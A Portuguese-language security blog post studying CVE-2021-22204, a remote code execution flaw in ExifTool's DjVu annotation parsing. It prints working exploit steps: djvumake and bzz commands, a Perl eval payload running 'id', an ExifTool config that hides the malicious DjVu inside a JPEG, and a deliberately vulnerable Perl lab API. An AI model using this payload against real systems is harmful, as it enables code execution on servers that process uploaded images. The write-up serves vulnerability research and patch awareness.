blog conviso

Um caso de estudo sobre a CVE-2021-22204 - Exiftool RCE

May 19, 2021

By

Gustavo

Dutra

CVE-2021|CVE-2021

Recentemente o pesquisador wcbowling [1] encontrou uma vulnerabilidade na ferramenta ExifTool que permitia RCE. Ele encontrou essa vulnerabilidade durante uma busca por bugs no programa de bug bounty do Gitlab[10]. Eles a utilizam como dependência em uma parte do produto.

O Exiftool [2] é uma ferramenta e lib feita em Perl, que tem como objetivo extrair metadados de quase todo tipo de arquivo. Escolhemos essa CVE para estudo por ter sido encontrada em um programa de grande impacto e na data onde esse estudo foi feito ainda não havia exploit público para ela.

Esse artigo foi feito para mostrar como foi o nosso processo de estudo da vulnerabilidade para chegar até o exploit. Recentemente o autor escreveu um write-up detalhado sobre o processo e você pode encontrar esse material nos links de referência [11].

Anyone using ExifTool make sure to update to 12.24+ as CVE-2021-22204 can be triggered with a perfectly valid image (jpg, tiff, mp4 and many more) leading to arbitrary code execution! pic.twitter.com/VDoybw07f5

— William Bowling (@wcbowling) April 24, 2021

Gostaríamos também de agradecer ao @gustavorobertux pela ajuda, que tornou possível que o exploit fosse feito. Seu artigo sobre o exploit também está nos links de referência [12]

A vulnerabilidade

Ao ler a descrição da CVE, temos um forte direcionamento de como explorar o problema:

"Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image."[3]

A vulnerabilidade acontece quando o Exiftool tenta realizar o parsing de arquivos do tipo DjVu[4], mais especificamente no campo de anotações da estrutura do arquivo. Para fazer a análise, verificamos o patch da correção no Github[5]:

Posteriormente baixamos a versão vulnerável 12.23 e podemos verificar abaixo a função vulnerável:

Path: exiftool/lib/Image/ExifTool/DjVu.pmÉ possível notar que a versão vulnerável possuí uma verificação na linha 31, que é responsável por remover atributos que utilizam $ (variáveis em Perl) ou @ (Arrays), para garantir um certo nível de segurança, afinal o conteúdo é executado na linha 34 em uma chamada eval [9].

O Exploit

Para chegarmos até a função vulnerável, precisamos criar um arquivo DjVu válido, que contenha um "chunk" de anotações com o payload, que ao ser lido pelo eval execute nosso código em Perl. Para a criação do arquivo DjVu, utilizamos a ferramenta djvumake , da toolkit de manipulação de arquivos DjVu djvulibre [6].Também será utilizada a ferramenta bzz para comprimir o payload, assim ele não será legível dentro do arquivo DjVu. (caso alguém tente inspecionar o arquivo)

$ sudo apt install djvulibre-bin
# Installs the required tools

$ bzz payload payload.bzz
# Compress our payload file with to make it non human-readable

$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

O nosso arquivo payload terá o seguinte conteúdo:

(metadata "\c${system('id')};")

Quando abrimos o arquivo exploit.djvu com uma versão vulnerável do Exiftool o código do payload será executado:

Já temos então nosso exploit básico para o Exiftool. Mas um arquivo DjVu não é tão útil pois não é aceito em muitos lugares. Dessa forma, nosso próximo objetivo é colocar esse payload malicioso e executar nosso código utilizando um arquivo JPEG, e sabíamos que isso era possível pelas provas de conceito encontradas no Twitter [8]. Para isso utilizaremos o próprio exiftool. Precisamos inicialmente criar um arquivo de configuração para ser passado para ele. No nosso caso ele terá o nome configfile e terá o seguinte conteúdo:

%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end%

Esse arquivo de configuração irá escrever uma tag criada por nós com o nome HasselbladExif, que será identificada dentro do arquivo pelos bytes 0xc51b , epodemos inserir ela dentro de qualquer arquivo. [7] Depois utilizamos esse arquivo e o exploit.djvu para inserir o DjVu malicioso dentro de um arquivo JPEG válido:

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg


# configfile = The name of our configuration file;
# -HasselbladExif = Tag name that are specified in the config file;
# exploit.djvu = Our exploit, previously made with djvumake;
# hacker.jpg = A valid JPEG file;

Agora temos um JPEG válido que executa nosso código quando é aberto pelo exiftool vulnerável:

Conclusão

Este estudo foi de grande importância pela quantidade de possibilidades de exploração. Existem vários modelos de negócio que utilizam aplicações que usam processamento de metadados, e em sua maioria utilizam o Exiftool como engine padrão. Para ilustrar uma aplicação utiliza o exiftool em seu back-end, desenvolvemos uma pequena API que recebe um arquivo como entrada, tenta extrair seus metadados e depois mostra a saída disso em JSON.

#!/usr/bin/env perl


use strict;
use warnings;
use Mojo::URL;
use Mojo::File;
use Mojo::UserAgent;
use UUID::Tiny ":std";
use Mojolicious::Lite -signatures;
use Image::ExifTool qw(:Public);


get "/" => sub ($request) {
my $endpoint = $request -> param("endpoint");


if (($endpoint) && (length($endpoint) <= 100)) {
my $url = Mojo::URL -> new($endpoint);


if ($url -> scheme()) {
my $userAgent = Mojo::UserAgent -> new();
my $getContent = $userAgent -> get($endpoint) -> result();


if ($getContent -> is_success()) {
my $file = $getContent -> body();

my $generate = create_uuid_as_string(UUID_V4);
my $path = Mojo::File -> new("files/$generate");

$path = $path -> spurt($file);


my $exifTool = Image::ExifTool -> new();
my $informations = $exifTool -> ImageInfo("files/$generate");


if ($informations) {
return ($request -> render (
json => [{
date => $informations -> {FileModifyDate};,
mime => $informations -> {MIMEType},
type => $informations -> {FileType}
}]
));
}
}
}
}

return ($request -> render (
text => "<script>window.location='/?endpoint=https://www.cpan.org/misc/images/cpan.png'</script>"
));
};


app -> start();

No momento em que essa publicação foi escrita, a lib oficial do exiftool no Cpan: Image::ExiftTool continuava vulnerável. Logo, essa aplicação pode ser explorada a partir da imagem lida no parâmetro endpoint:

O código desse lab pode ser encontrado junto com um script feito para automatizar o processo de criação do exploit no nosso repositório, clique aqui.

Inscreva-se para receber conteúdo sobre AppSec selecionado por nossos experts

Referências

  1. Twitter - William Bowling
  2. ExifTool by Phil Harvey
  3. CVE-2021-22204
  4. DJVU3 FILE STRUCTURE OVERVIEW
  5. GitHub Exiftool
  6. DJVUMAKE
  7. EXIF Tags
  8. eval EXPR
  9. RCE when removing metadata with ExifTool
  10. ExifTool CVE-2021-22204 - Arbitrary Code Execution
  11. PoC | CVE-2021-22204
Nova call to action

Sobre o autor

Gustavo
Dutra

Bachelor's degree in Computer Science from the Federal University of Alagoas. He has spoken at events such as the NullByte Security Conference and Hackers to Hackers Conference, and presented research projects at national and international events. He has experience in application security, exploit development, and vulnerability research in both userland and kernel land, having discovered vulnerabilities for companies like Microsoft, AMD, and Intel. His interests include operating system internals, compilers, malware development, vulnerability research, and EDR evasion.

Saiba mais